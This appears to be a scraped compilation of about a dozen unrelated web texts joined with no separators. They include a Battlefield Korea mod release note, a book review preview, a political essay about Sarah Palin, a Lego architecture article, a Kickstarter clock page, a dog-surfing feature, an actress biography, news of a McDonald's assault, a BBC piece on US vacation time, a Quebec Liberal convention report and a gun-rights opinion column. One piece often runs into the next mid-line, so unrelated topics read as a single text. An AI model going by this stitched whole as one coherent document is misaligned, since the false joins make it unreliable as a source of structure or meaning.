Multiple ordnance rounds for tanks. Press "F" key to swap the tank rounds.
Better bullet effects such as suppression and realistic ballistics and features such as bullet drop as well as bullet whiz sounds which increase the sense of realism and immersion.
The addition of proper Light Machine Guns.
Better HD explosion, impact and lighting effects.
Loads of new maps.
Dozens of new weapons.
HD ground, water and vegetation textures.Thanks to B4RR3l for letting us use the HD textures from his Battlefield HD Remastered mod. Moddb.com
Addition of all new medium bombers such as the Douglas B-26b Invader and Tupolev TU-2 as well as Ilyushin IL-28 Beagle.
All new HD Willys MB Jeep and BA-64 models.
First helicopter has been added to game.
The quality of the mod has been drastically improved, as well as the stability. It is still not perfect, but we hope to keep working on it for many more years to come!
NOTE: You need both the Core files AND the map files to play the mod! Just extract the Levels folder from the archive to the BFKorea mod folder.If you already have the 1.0 release delete that version from your computer first before installing this. This is a full release, not a patch.
You can download the core mod files here. (2.95gb extracts to 3.96gb) Mediafire.com
And the map files here. (1.86gb extracts to 2.22gb) Mediafire.com
We tried to have direct links uploaded on site, but it was impossible to upload the links from mediafire I added. So these mirrors will have to do for the meantime.
If a moderator could help us out with this it would be much appreciated!
Thanks! And until next time guys!Even before the emergence of the economic crisis in 2007, the idea that inequality is itself responsible for the worst excesses and deepest failings of the UK’s financial sector had become rather well-trod. Stewart Lansley produced Rich Britain in 2006, and for a more gossipy version of many of the arguments presented in Lansley’s book one might turn to the BBC Business Editor Robert Peston’s 2008 effort Who Runs Britain? And Who’s to Blame for the Economic Mess we’re in?. Here too, as in The Cost of Inequality and Rich Britain, is the staggering parade of statistics to tell us just how rich the very richest have become, and Peston implies (though never quite states outright) that these ‘super-rich’ hold much too much of the power in contemporary Britain. Another interesting thread to be found in both books is the slightly shocked reflection on New Labour’s fostering of highly concentrated mega-wealth in the UK; both books remind us of the mindset that lay behind Peter Mandelson’s statement that he and his party were “relaxed” about people becoming “filthy rich”.
The difficulty here is in connecting an intuitive distaste for large-scale inequality – connoted so clearly by the phrase filthy rich – with the features of our economies that contributed to the financial crisis. The correlation is easy to point out, and Lansley claims to be undertaking a somewhat different project from the authors of The Spirit Level, which set out the correlations between equality and desirable societal outcomes so clearly. How, then, does Lansley approach this territory – does he succeed in his apparent aim to move from correlation to demonstrated causation – and what does he offer that’s new?
The Cost of Inequality sets out a brief history of the British financial sector, building to a contemporary model of capitalism where, as he pithily puts it in his introduction, “deregulation has created the opportunity to make money, big money, not by being smarter, or by taking the long view, or by investing in new systems, but by a number of new business practices that manipulate the financial structures of existing firms.” At this point lies the crux of Lansley’s argument. With stagnating real incomes for the vast majority of people – a “consumer society without the capacity to consume” – the gap was filled by extraordinarily cheap credit. Meanwhile, the “flush personal bank accounts” and “apparently compulsive obsession with building ever larger personal fortunes” created the context and motivation for increasingly risk-prone behaviour within the finance sector.
This is a compelling narrative, if well-rehearsed. It is at least partially dependant upon cultural and psychological assertions (as so often economic arguments must be): an atmosphere of security and a feeling of “triumphalism” contributed to the behaviours that led to the crash. The argument is also plausible, and quite worldly. Lansley states that “[o]f course, any finance system needs the freedom to take risks to innovate and invest”, and points to the competitive innovations of technology giants as an example of capitalism done right.
What seems to be missing from this account is an in-depth consideration of the importance or effectiveness of government action in relation to the financial crisis. Many have argued that the first Basel Accords created a regulations-based incentive to over-invest in mortgage-backed bonds (see, for example, Friedman and Krause on this topic). Governments also moved to cement the culture of ‘too big to fail’ by bailing out the worst-hit banks, with a very few exceptions. Interesting counterfactual questions ought also to be asked as to the effectiveness of the various stimulus packages deployed by the UK and USA. If Lansley could tackle such considerations directly, the result would be a more compelling argument for his preferred end of greater state intervention in the finance sector. As things stand, we are given a relatively clear picture of the failings of the current system, without any clear indication that a more regulated alternative would necessarily be preferable.
This is an edited preview version of my review of Stewart Lansley’s 2011 book, The Cost of Inequality. The rest is available on my academia.edu page.
AdvertisementsWhat does scrotal asymmetry have to do with Sarah Palin? At first, the answer might seem like a mystery and an enigma wrapped in a conundrum. But the real answer is within our grasp, and it reveals something about the unreality of American politics.
To begin, let’s examine just how Sarah Palin became a national celebrity. An impetuous John McCain picked the inexperienced and goofy governor of Alaska as his running mate in 2008. The political media, drunk with its ability to create "truth" in its own private America, finds her pretty. She’s given a speech to read before the easiest audience in the world: 2008 Republican national conventioneers, who, staring balefully at John McCain, want an umbrella for their bitter, boring cocktail. Palin is that umbrella. She reads the speech. The crowd roars; the media get tears in their eyes, wowed by their own abilities to cry on cue.
In any culture tethered to the real, the Palin phenomena would not be possible. We would not hire her to babysit our kids, much less to be a heartbeat from the presidency. But we have escaped from the real into a world of celebrity where possible consequences don’t matter. It’s the show that matters.
This terrible un-tethering is made possible by many things, among them the fact that in the funhouse of language, we often can’t tell our right from our left.
This isn’t the case everywhere. For instance, in northern Australia there’s a small Aboriginal community called Pormpuraaw. The locals are known as Kuuk Thaayorre. They have no words for "left" and "right." Those are the relative terms we use to orient ourselves in space. But, neuroscientist Lera Boroditsky tells us, the Kuuk Thaayorre, like many such groups, use the cardinal directions – north, south, east, west – to define their space upon the real earth. Boroditsky explains:
This is done at all scales, which means you have to say things like ‘There’s an ant on your southeast leg" or "Move the cup to the north northwest a little bit." One obvious consequence of speaking such a language is that you have to stay oriented at all times, or else you cannot speak properly. The normal greeting in Kuuk Thaayorre is "Where are you going?" and the answer should be something like " Southsoutheast, in the middle distance." If you don’t know which way you’re facing, you can’t even get past "Hello."
Wasn’t it Palin’s very problem that she couldn’t get past hello? "You have to stay oriented at all times, or else you cannot speak properly." Therein lies her difficulty, and ours as well. Lost in our admittedly powerful abstractions, we, like our very own media, get dizzy. We can make stuff up, but what we make up can kill us. If we don’t need to know where on the earth we are anymore, why would we worry when it grows too hot to stand upon it?
And this, as if demanded by logic, brings us to scrotal asymmetry.
Several years ago, Chris McManus published a paper in Nature magazine, called "Scrotal Asymmetry in Man and in Ancient Sculpture." McManus noticed that many Greek sculptors confused the left and the right when it came to representations of the male nude. You see, in real life, the left testicle, though smaller, hangs lower than the larger right testicle. It is counter-intuitive, as gravity would seem to require that the bigger the testicle, the closer it be to the ground. This caused problems for some sculptors who let abstract notions overwhelm observation.
McManus won the 2002 Ig Nobel award for his paper. That award is given to studies that make us laugh and think. The paper does read like a Monty Python script. Who wasn’t made to think by the Python’s Dead Parrot bit (video)?
Among other things, the observations of Boroditsky and McManus ought to give us pause about our bad habit of bifurcating our political culture into artificial categories of Right and Left. If the terms ever had any meaning, they’ve lost it. Many evils can be hidden within such abstractions. To name just one, those of the so-called Right, whose values are authority and obedience, can disguise themselves as freedom-lovers. In their worldview, obedience is freedom. When it comes to the political Left and Right, we have no way of judging which hangs more truly.
My point is that a melodramatic celebrity like Palin would never be taken seriously in a world in which we knew where we stood. If we can’t tell a left nut from a right, how can we be expected to see a nut like Palin for what she really is?A Frank Lloyd Wright Masterwork, In Legos
Illustrations courtesy of Brickstructures Inc.
The latest building blocks in Legoland might be a tough sell for the little ones. The company just announced new designs based on the architecture of Frank Lloyd Wright.
The first design is New York's Guggenheim Museum, with its unmistakable, majestic cylindrical stacks. It's hard to imagine building that from the Lego bricks you had as a kid, but the man behind the designs says all the pieces in the kit are "standard bricks and plates."
Adam Reed Tucker is especially proud of his 800-piece design for Fallingwater, Wright's structure in Bear Run, Pa.
"That one's actually interactive," Tucker says. "It actually comes apart in a puzzlelike formation so you can get into the guts of the building and see the levels, understand his use of cantilever and how the forms play together."
The Lego version of the building can even be lifted off its base. "What's neat about that is people can actually see how the foundation of a structure is rooted into the environment," Tucker says.
Tucker gave up life as an architect three years ago to create Lego art. Since then, he's developed a number of complex, stunning structures: The John Hancock building, the Seattle Space Needle — even the Empire State Building.
Lego's Frank Lloyd Wright collection will be available in stores soon. The Guggenheim will go for about $40, and Fallingwater will set you back close to $100. But are there enough architectural Lego fans to make these designs a hit? Tucker hopes so.
"Partly the idea behind this is branching out to a new audience," he says. "And it's something that kids of all ages — adults alike — can play with and build and learn."
He hopes that while Lego fans enjoy themselves, they'll also learn to appreciate the architecture that went into the actual buildings. There's a booklet that comes with the set for just that purpose.
"It briefly touches on some of the architectural significance and some of the history — just enough to keep you interested, but not enough to put you to sleep," Tucker says. "Like many of the classes that I had in college."Stretch Goal - Namesake Upgrade
If the Kickstarter batch of The Midnight Clock sells out, each backer will have the option of having their clock etched with a dedication to the recipient at no additional cost. See Update #4 for more. Or, by popular demand, you can add $11 per clock for the upgrade even if it doesn't sell out. Because I'm a big softie. :)
Press & Awards
LA Times - Books | Kickstarter Project of the Day, June 18 | Kickstarter Staff Pick
The Midnight Clock
Fiction is filled with hidden doorways, destinations, and treasures - think of Tolkien's secret door to Durin, Rawling's platform 9 3/4, or Lewis's wardrobe - but we rarely find them in real life. The Midnight Clock changes that. A riddle on its body instructs the curious observer on how to open its novel locking mechanism, revealing the adventure that awaits in the hidden book of your choosing.
The first Midnight Clock was a birthday gift I made at for my son born earlier this year. It was designed to help engender the sense of wonder, adventure, and efficacy I hope he finds in life. I'm sharing it here on the chance that it can do the same for someone special to you.
How It Works
The Midnight Clock features a patent-pending locking mechanism integrated into the movement and face of the clock itself.
On its face, the Midnight Clock is a fully-functional 24-hour clock with tick marks on every hour and symbols representing approximate sunrise, midday, sunset, and midnight. But the inquisitive will find that its riddle acts as a guide to removing the keys associated with each symbol in a certain order - and one at a certain time - allowing it to be opened to reveal a hidden compartment and almost any book you wish to keep there.
How It's Made
The Midnight Clock was prototyped (above) at TechShop Pittsburgh, and thanks to a previous successful Kickstarter project (the Backcountry Boiler - worth checking out if you like camping and hiking!) I founded a small design studio that will be performing the bulk of the manufacturing in-house. The outsourced manufacturing of the customized movement components will be performed by a well-established domestic company.
Specifications
Befitting its inspiration, The Midnight Clock is built with an emphasis on quality, user health and sustainability.
Movement: 24 hour high-torque quartz, German made, with custom shaft
24 hour high-torque quartz, German made, with custom shaft Body & Works: Laser cut, cabinet-grade baltic birch or bamboo plywoods. Both FSC certified for sustainable production
Laser cut, cabinet-grade baltic birch or bamboo plywoods. Both FSC certified for sustainable production Glass: Shatter-proof, gallery-grade acrylic
Shatter-proof, gallery-grade acrylic Fasteners: Brass and stainless steel
Brass and stainless steel Adhesive: Low-VOC and Greenguard certified for contributing to good indoor air quality
Low-VOC and Greenguard certified for contributing to good indoor air quality Ink: Low-VOC, non-toxic acrylic
Low-VOC, non-toxic acrylic Finish: Low-VOC, non-toxic
Low-VOC, non-toxic Lubricant: Talcum powder
Talcum powder Dimensions: 23.5" x 10" x 2.625"
23.5" x 10" x 2.625" Maximum Book Size: 8.5" x 5.5" x 2"
Production Schedule
See the latest progress report.
I'm using the open-source GanttProject project management software to plan production of The Midnight Clock so you can see up-to-date reports based on my progress and projections. Initially, it assumes most tasks will take 1.5 to 2x longer than expected.
Lifetime Warranty
If any part of the works are damaged during the life of the clock, replacements will be available for just the cost of shipping. Repairs to the body or face of the clock will also be made for just the cost of shipping.
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beside Uy as they sit in a big open area with comfortable chairs and order dinner. It's burgers and beers all around. The dogs? Crashed out beside them, even when the burgers arrive. These are tired dogs.
Catching the wave
Dog surfing is making waves in the canine agility sports world, too. Agility classes were among the first ways people could get involved in activities with their dogs outside of hunting events. The sport was born in England, where it provided entertainment between horse jumping events, and it's recognized by the American Kennel Club.
For the past 12 years, the Purina Incredible Dog Challenge has hooked onto America's love for agility events by holding national contests and showing the events on ESPN. It showcases dogs performing in flying-disc events, agility competitions, diving events and head-to-head pole-weaving contests. This year's Western regional included dog surfing for the first time.
Surfing's time is here, Uy says, and make no mistake: It's for athletes, just like all the agility events. But, really, why do these kinds of activities with dogs?
"If you're going to bring a dog into your life, he should be part of your life," says Dina Demeo, who, along with John Grover, has produced the Surf Dogs Calendar for four years. "Why leave your dog at home? He's part of the family pack. And dogs love these activities. Leave them at home and they're sad. A happy dog makes for a happy owner." She's dogless now, but she used to take her dog kayaking and windsurfing before he died.
Uy says he hopes that as more people get into the sport with their dogs — taking classes with them, holding their boards, fetching them out of the water — they'll "realize that trust is the foundation that lets you and your dog take on any challenge and make it fun."
There is no lack of trust between Uy and Abbie. She jumps up and stands on his shoulder all the while he's talking in the shallow water. At his command, she jumps down, then leaps onto her surfboard, ready to go hunt the next wave.
You go, Abbie girl.Eileen Dietz (born January 11, 1944) is an American actress who is best known for her appearances in many horror films such as the face of the demon in The Exorcist and for her portrayal of characters on the soap operas Guiding Light and General Hospital.
Early life and career [ edit ]
As a child, Dietz appeared in commercials with her twin sister Marianne DeFossey, and beginning at the age of 12 she started studying acting at the Neighborhood Playhouse. She made her television debut in 1963 in a small guest role on The Doctors. Shortly thereafter she landed a recurring role on the soap opera Love of Life. She made her film debut starring in the 1966 movie Teenage Gang Debs as Ellie. The following year she portrayed Penny Wohl in the critically acclaimed independent film David Holzman's Diary. The film never got much in the way of theatrical distribution despite having Dietz's nude scene featured in Life Magazine's photo spread and in the book of the film. She did not recall if she auditioned for the role of Penny but she added, "it was a fun shoot."[1]
Dietz spent much of the late 1960s and early 1970s appearing in theatre productions. She notably appeared Off-Broadway as the Young Girl in the premiere of Bruce Jay Friedman's Steambath at the Truck and Warehouse Theater in 1970. In 1972, she portrayed an androgynous runaway in the premiere of Joyce Carol Oates' Ontological Proof of My Existence. Her portrayal in the play led to an invitation to do a screen test for The Exorcist. She was cast in two memorable roles in the film: Pazuzu the demon (better known as the face of death), and the 'possessed Regan' (the Linda Blair character). For this role, Dietz actually only appeared on film for 8–10 seconds.[2]
After The Exorcist, Dietz had a highly active career on television during the 1970s, appearing as a guest star on such shows as Planet of the Apes, Korg: 70,000 B.C., Barnaby Jones, and Happy Days among others. She also portrayed the recurring role of Linette Waterman in the soap opera The Guiding Light and appeared in the films You Light Up My Life (1977) and Parts: The Clonus Horror (1979).
In 1980, Dietz joined the cast of General Hospital as Sarah Abbott, a role she played for several years. She also appeared as a guest star on Trapper John, M.D. (1982) and in the horror film Freeway Maniac (1989). More recent film credits include Naked in the Cold Sun (1997), Hurricane Festival (1997), Bad Guys (2000), Exorcism (2003), The Mojo Cafe (2004), Neighborhood Watch (2005), Constantine (2005), Karla (2006), Creepshow III (2006), Dog Lover's Symphony (2006), and Tracing Cowboys (2008).
2009 was a very busy year for Dietz. She had several films coming out, including Stingy Jack, H2: Halloween 2, See How They Run, The Queen of Screams (2009), Butterfly, Second Coming of Mary, Legend of the Mountain Witch' and the Charles Manson Biopic Charlie Lives: The Movie.[3] Eileen has been cast in the upcoming thriller Eden Falls(2017); co-written by Victor Miller, creator of Friday the 13th.
Personal life [ edit ]
Dietz has been married to Thomas Albany since March 1984.[citation needed]
Filmography [ edit ]
Film Year Title Role Notes 1966 Teenage Gang Debs Ellie Credited as Eileen Scott 1967 David Holzman's Diary Penny Wohl The Game People Play Credited as Eileen Scott 1973 The Exorcist Pazuzu's face Uncredited 1974 Road Movie 1977 You Light Up My Life Bridesmaid 1979 Parts: The Clonus Horror Dana 1989 Freeway Maniac Costume Girl 1997 Naked in the Cold Sun Sadie Hurricane Festival Junkie 2000 Bad Guys Bank Teller Left-Overs — Set director 2003 Exorcism Evil Nurse 2004 The Mojo Cafe Oscar Short film 2005 Constantine Zombie Uncredited Neighborhood Watch Mrs. Crews 2006 Karla Helen Uncredited Creepshow III Claire The Homeless Woman Segment: Call Girl
direct-to-video Dog Lover's Symphony Frightened Mother 2008 Tracing Cowboys Marilyn She Turns Back and Faces Forward at Peace Judy Short film 2009 Sibling Rivalry Mrs. Peters The Queen of Screams Eleanor Maxwell Void Helen Short film Halloween II Winnie Gilmore Uncredited 2010 Kadís Librarian Short film Freeway Killer Alice Bonin Benton Hookers for Jesus Blanch Short film Monsterpiece Theatre Volume 1 Nina Segment: Rottentail Butterfly Joy Greenstahl also associate producer The Custom Mary Mother post-production See How They Run Grace post-production The Legend of the Mountain Witch Creepy Lady post-production Scream Queen Campfire Ethel Segment: Motherly Love Hallow Pointe Fran 2011 Little Big Boy Jimmy's Mother - middle aged Dead Girls Don't Cry Diane Thomas filming Stingy Jack Esther Flower pre-production 2012 Witches Playground filming 2015 Fire Twister Sadie - The Mountain Woman Television film 2017 Eden Falls Barbara pre-productionIn a rage, a McDonald's customer was filmed attacking and threatening an employee because he had waited 'two hours' for his fries.
The unidentified man turned violent over his alleged botched food order at a McDonald's location in El Paso, Texas, on Sunday night.
An explosive video shows the man hitting a worker in the face and jumping over the counter to scream at employees, saying he had waited hours for his fries.
Local police were called to the escalated scene after the half-naked man caused a cookie stand to go flying and the employee was left visibly bleeding from the mouth.
A McDonald's customer was filmed jumping over a counter and hitting a store employee because he had waited 'two hours' for his fries on Sunday night in El Paso, Texas
Local police were called to the escalated scene after the unidentified half-naked man caused a cookie stand to go flying and the employee was left visibly bleeding from the mouth (pictured)
The incident was captured by Alfredo Sanchez, another customer at the fast-food restaurant that night.
Posting several videos and pictures to Facebook, he wrote: 'So some guy came in raging jumped over the counter and punched a McDonald's MANAGER in the face because they "TOOK TOO LONG TO GIVE HIM HIS FRIES".'
The video begins with the man, who was still wearing a shirt, slapping away the counter's cookie display, making it hit the floor.
The man's large dog quickly runs for the door in a fright, as its owner flies off the handle in an expletive-filled rant.
The man appears to hit the employee in the face then tears off his shirt, saying that he was ready for a fight.
The man appears to hit the employee in the face then tears off his shirt, saying that he is ready for a fight before he jumped over the counter (pictured)
The video continues with the man jumping over the counter, ready to square off against the McDonald's worker and hits him again. Other employees try to deescalate the situation
Explaining the odd encounter further, Sanchez said to KFOX14: 'We were eating and all of a sudden, like, I hear my friend say, like, what the heck.
'And like, I see a guy come in with a big dog. He's telling the people, like, I waited two hours for my fries.
'The guy takes off his shirt and he's ready to fight him, ready to fight, jumps over the counter and that's when he hits the guy.
'He just punches him, right here, right on the lip. The employees were already trying to stop the guy and it was just kind of a mess.'
The video continues with the man jumping over the counter, ready to square off against the McDonald's worker and hits him again, while other employees quickly try to intervene and deescalate the situation.
El Paso police take the man outside but he wasn't arrested (pictured). The department said the investigation is still on-going
Eventually police are called to the scene and escort the man outside, but he wasn't arrested according to KFOX 14.
The El Paso Police Department said the investigation is still on-going, according to the news outlet.
Sanchez added: 'I was like, I'm not getting in this, but I'm recording, just for proof, to protect me too. What if the guy attacks me? What if the dog does something?'
'I didn't believe it was happening. I've never experienced anything like it.'Media playback is unsupported on your device Media caption The BBC asked people in Washington DC how many days they took off last year.
As Americans enjoy an extra day away from the office over the long Labor Day weekend, many will reflect on the end of a summer when, once again, they took far fewer days of vacation than workers in other countries.
In July, the BBC published a video showing that not only are US workers not guaranteed vacation time by law, but that 40% choose not to take all of the days to which they are entitled.
In the US, work plays a big part in how people identify themselves and many take pride in working long hours. When we asked the BBC's audience why so many Americans chose not to take full advantage of their vacation days, these were some of the answers.
Over 1,000 comments were left on the BBC News Facebook page - and many said that they started to resent the culture that kept them from taking earned vacation.
We reached out to more than a dozen people to find out more about their stories. What we learned is that even though there is a culture of hard work and long hours in the US, people would like to take more time off.
Gerald Audet earned a PhD in physiology and has been working in science for the past eight years at three different work places (none of which he wanted to disclose for fear of retribution). At every company he was expected to think about his job 24 hours a day, he told the BBC.
"Don't mention any other things that you do, because that is looked down upon and looked at as a weakness," Audet, who is also a keen amateur triathlete, says.
He is allowed to take time off, but in Audet's case it means scrambling to get work done ahead of his vacation and working twice as hard when he comes back.
"This is how America is: you are expected to give everything you have, and if you don't you're unsuccessful."
Three-month vacation
But America hasn't always been that way, says John de Graaf of Take Back Your Time, an organisation challenging overwork.
Image copyright The New York Times
In 1910, President Howard Taft proposed a three-month vacation for everyone. That move prompted the New York Times headline on 31 July that year: "How long should a man's vacation be?"
But anti-union movement made it impossible to fight corporations on this issue, de Graaf told the BBC. The US remains the only industrialised country without mandated paid vacation days.
Consequences
Alaine Megan has not had a vacation in three years. She's a massage therapist, and is in physical therapy herself because her body is "starting to feel uncomfortable".
"An athlete trains hard, and then has to take a day off," Megan says. "Everybody needs a break to refresh. I can do better work on people after a vacation."
Her employer, whose name she doesn't want published for fear of losing her job, stopped paid vacation days and now wants notice a month in advance for unpaid days off. Taking off the day before or after Christmas is almost impossible; wanting to see your family just isn't a "good enough" reason, she says.
"Corporations are narrating the story of our lives at the moment, and they're doing it in such a way we start believing that narrative and feel we have little control." -Thomas Ditmar
It took a diagnosis of multiple myeloma, a bone marrow cancer, for Thomas Ditmar to rethink his approach to work. His last vacation was a trip to Eastern Europe with his wife - back in 2008.
He could have taken 20 days a year, but the recession changed how much he wanted to be away from the job.
"When the economy collapsed in 2008 everyone was laid off, including me eventually," Ditmar says. "Those who remained were very appreciative of still having a job, and the companies knew that."
Cancer experts at Johns Hopkins told the BBC that there is no known link between stress, exhaustion and cancer, but Ditmar's doctor told him they were concerned about him taking on too much after his diagnosis.
Henry Ford once said men work for two reasons: "One is for wages and one is for fear of losing their job." Ditmar says most people today feel the latter.
Unlimited days
The newest trend swings in the opposite direction: "unlimited vacation days".
Ryan Zane, a Silicon Valley recruiter, told the BBC that many start up firms offer this benefit because they don't have enough cash on hand to pay out an employee's remaining vacation days if he or she leaves the company.
"In reality, one in five employees in those situations actually take vacations, and the ones who do take less than two weeks," Zane says. "There's so much pressure to deliver products and upgrades."
Companies are competing with each other for employees through fringe benefits like serving food and a free gym, said professor emeritus at MIT, Lotte Bailyn, who studies the relationship between managerial practices and employees' lives.
Media playback is unsupported on your device Media caption Click to see how many vacation days other countries give
These perks can give companies reputations as great places to work, but in reality, Baylins says, "They just make it easier to stay at work and to keep working."
She says people would be better off in a company that says "Take four weeks and don't call in", rather have no guidelines around unlimited vacation days.
"Most of the data that I've seen shows that if anything people are taking less vacation days because without guidelines there's too much uncertainty."
Productivity Ranking GDP per hour worked $95 Luxembourg*
$87 Norway
$67 United States*
$66 Belgium*
$64 Ireland Thinkstock
At HubSpot, a Boston-based marketing software company, unlimited vacation days have been in place since 2010 with great success, according to the company's vice president of culture and experience, Katie Burke.
The company does not keep track of its employees time away from work, so numbers on how many days employees take are unavailable. But an anonymous quarterly survey keeps track of employees' overall happiness.
For the system to work, HubSpot had to make sure its staff saw employees at the very top of the company taking time off. Two employees who took three weeks off to experience the World Cup in Brazil last summer were celebrated internally as great example, says Burke.
"We had to help managers send the right message and rethink how we live and how we work," she told the BBC. "Distance from a product or a team can help, and being unplugged helps to rethink something that seemed unsolvable."
Identity
A third of American workers are connected to the office while on vacation, says de Graaf. Many told the BBC they feel overwhelmed and afraid of what they will find upon their return to work.
Betsy Rizzo, a communications professional, says she would end up working unpaid overtime hours to catch up.
"There's this assumption that in order to get ahead you always have to be working and therefore not taking vacation days gets you brownie points," says Bailyn. "There's this notion that your whole identity is your occupational position."
She says Americans are long overdue for a conversation about vacation, says de Graaf.
"Americans talk so much about freedom, but how can you be free if you never get anytime away from work?"
See more responses here on Storify and comment on this topic here on Facebook.
You can reach Franz Strasser via email or twitter.QUEBEC — The Quebec Liberal Party policy convention has decided that from now on legislation, regulations and policies that the Quebec government plans to adopt will be assessed for their impact on the English-speaking community, in a shift with potentially far-reaching consequences.
But a controversial last-minute amendment which would have gone a step further — forcing Quebec’s entire public sector to provide services in English on demand — was withdrawn after it became clear it was too radical an idea.
It was dropped after an emotional heated debate during which delegates warned the party was headed into dangerous waters.
Delegate Pierre Bouillon, for example, told the plenary while he respects the anglophone community, “I think we’re pushing the envelope a bit far. French is the official language of Quebec. It was (former premier Robert) Bourassa who did this and I don’t think it’s time to go back on it.”
Even an anglophone delegate from Mégantic spoke against the idea, saying the community was making significant progress with the original package.
“We don’t have to go that far,” she told the crowd.
Louis-Hébert delegate Hubert Dufour predicted nothing but trouble if it was adopted.
“I have no problem having a bureaucrat on hand to service the community, but anglophones are going to have to realize we live in a French province — the only one of 10 in fact.”
The proposer of the amendment, Ryan Brownstein from Robert Baldwin riding, finally withdrew his idea.
“I don’t think the time is right,” Brownstein told the plenary. “The overall resolution is fine with me.”
But despite his retreat on that amendment, the 1,400 Liberals nevertheless bought the pitch of the vocal anglophone lobby and gave their support to a package of other motions.
The preamble to the five motions calls on the government to “strengthen the recognition” of the province’s English-speaking minority in government decision-making.
The package sailed through the plenary with an overwhelming majority. About 50 people voted against.
The package specifically says:
– When developing new legislative bills or regulations, ensuring that their impact on the English-speaking communities is assessed and that provisions concerning these citizens are including in all new bills, regulations and policies.
– Raising awareness among government employees of the challenges and issues facing English-speaking communities and ensuring that members of these communities are represented in the public service and on decision-making bodies.
– Instructs the Institut de la statistique du Québec to gather a additional data to establish an accurate picture of the community
“This is not a political manouvre (to shore up votes) that we did here,” William Korbatly, the Chomedey Liberal delegate who steered the package through, said later in an interview.
“The anglophone community in the Liberal Party are equal citizens to all Quebecers, French and others.
“I’m very happy. We have begun to restore justice for the community.”
While not binding on the Couillard government, the package nevertheless had the tacit support of the party brass and is clearly part of a campaign to shore up support in the community in the face of the rise of the opposition Coalition Avenir Québec.
A controversial idea from the get-go, such impact clauses nevertheless already exist in government covering the impact of policies on the environment, youth and Montreal.
But these are the first to address the community which, the government concedes, has drifted from the party.
On her way into the convention, Kathleen Weil, the minister responsible for the community, told reporters she thinks the English-speaking minority does not have a strong sense of belonging to mainstream Quebec.
One day after announcing the creation of a government secretariat devoted to dealing with the concerns of minorities, Weil said she was struck by the feelings people have expressed to her during the early stages of a swing through the province.
She did not go so far as to say anglophones feel alienated, but on concrete issues such a employment and access to French-language courses, she concedes there’s a problem.
A background sheet provided by the government reveals the unemployment rate of English-speakers in 2011 was 9.4 per cent compared with 6.9 per cent for French-speaking Quebecers.
And a 2015 CROP poll revealed a high majority, 81.9 per cent, of English speakers do not believe they have equal access to the Quebec public service.
“This sense of not belonging is the one indicator that really worried me,” Weil told reporters as she arrived at a Liberal Party policy convention, which has drawn 1,400 Liberals to the old capital.
“To hear young people say that … you don’t see it everywhere, but you see it in pockets outside of Montreal. But I’m told that some Montrealers may feel it too.
“We want everyone to feel fully like Quebecers. We have to work on that sense of belonging.
“We want youth to feel they have a choice to stay here. You are bilingual, you have something to contribute to Quebec. We want to keep you.”
Premier Philippe Couillard has expressed similar concerns and, in his speech opening the convention Friday evening, said his government has respected a promise to act in creating the secretariat.
He described the Liberals as “a party for all Quebecers, French- and English-speaking.”
Weil dismissed the idea that the party is only now reacting to the drift because the CAQ is trying to appeal to the minority now that it has taken a federalist turn.
Weil said the Liberals have always been sensitive to the community’s needs and expressed it through individual MNAs.
But she said the government needed to step up its game, hence the secretariat. She said that the new agency, which reports directly to the premier’s office, sends a resounding message from the government to the community.
“They are part of our history and part of our future,” she said.
The resolutions have raised questions about why the party is making such efforts for the anglophone community yet there is not a single resolution in the party policy document about reinforcing the status of French.
But key ministers backed the outreach to the English community.
Energy Minister Pierre Moreau, who represents the riding of Châteauguay, which has a significant English-speaking population, told reporters he thinks it is “totally normal” that the Liberals adopt such resolutions.
Economic Development Minister Dominique Anglade agreed, saying it’s a good idea to send a “strong message” to the community.
But one former cabinet minister, MNA Rita De Santis, expressed reservations about the resolutions.
“I think there is something in the policy that is interesting but at the same time I think every time we have a bill or policy, we must consider everyone in Quebec and all Quebecers and all the types of diversity that exist in Quebec,” Di Santis said.
In Sherbrooke on Saturday for his own policy event, CAQ leader François Legault was asked to comment on the creation of the secretariat. Legault, who is chasing the same non-francophone votes as the Liberals, said a CAQ government would not necessarily abolish it if elected.
He said the CAQ would keep it “if it is really useful.”
The day will end in Quebec City with the much-anticipated arrival of former Liberal leader Jean Charest, who is to speak to the delegates sometime after 5 p.m.
pauthier@postmedia.com
Twitter.com/philipauthierGun people talk tough.
“You can have my gun when they pry it from my cold, dead hand.”
But all the bluster disappears when talk turns to the Supreme Court and the possibility of an opinion that undermines the Second Amendment. Last year’s prospect of a Hillary Clinton Supreme Court nominee turned millions of gun rights advocates into quivering bowls of Jello.
Granted, Hillary made some comments in the presidential debates that revealed she’s no friend of the individual right to keep and bear arms. (But we knew that, right?) Her comments regarding the Heller decision sent the gun people into abject panic. Social media lit up with pro-Second Amendment types imploring everyone they have to vote for Trump to keep Hillary from “shredding” the Second Amendment (Never mind that Trump has a squishy history on the Second himself.) One Facebook poster glumly predicted that Hillary would “take all of our guns” if elected president and allowed to appoint a justice or two to the Supreme Court.
A Wall Street Journal op-ed channeled the hysteria in more measured tones.
If the Justices she appoints agree with her, then they can gradually turn Heller into a shell of a right, restriction by restriction, even without overturning the precedent.”
Basically, the message I got from pro-gun people last year goes something like this: “OMG! It’s all over for our right to own firearms if Hillary wins the election. Vote Trump to save our guns!”
How in the world did we get from “they’ll have to pry it from my cold dead hands,” to complete panic because some politically connected lawyers wearing black dresses in Washington D.C. might issue an opinion? Why do the gun people place so much stock and faith in politicians and legal pronouncements to “protect” their natural right to defend themselves? They act like the government gave them the right, so therefore the government can take it away by mere pronouncement.
It’s time for the gun people to grow a spine like the weed people, and simply nullify these attempts by the political class in Washington D.C. to limit their right to keep and bear arms.
Yes. The potheads have more guts, courage and political acumen than the gun people.
I’ve never heard a cannabis activist say, “Well, the Supreme Court ruled the feds can prohibit marijuana. Guess I’ll give up my weed.”
No. First, the weed people just ignored the government and used marijuana anyway. They simply refused to comply. Then they brushed off their hands and got busy at the state and local level.
According to an article on kratomcrazy.com, marijuana activists started in California where there was a great deal of popular support and passed Prop 215 in 1996. When the feds cracked down, they didn’t give up. When the Supreme Court ruled against them, they didn’t panic. When the DEA closed down one medical marijuana dispensary, they opened two more. They just kept pushing on.
Today, more than half the states in the country have legalized marijuana for medical use. Eight states have legalized marijuana completely.
State, local and individual action has effectively nullified federal marijuana prohibition in half the country. Heck, they’ve even nullified it in the federal city of Washington D.C. Congress can pass all the laws it wants. Presidents can sign executive orders to their heart’s content. The Supreme Court can issue its opinions. But without state and local cooperation, the federal government can’t enforce a damn thing.
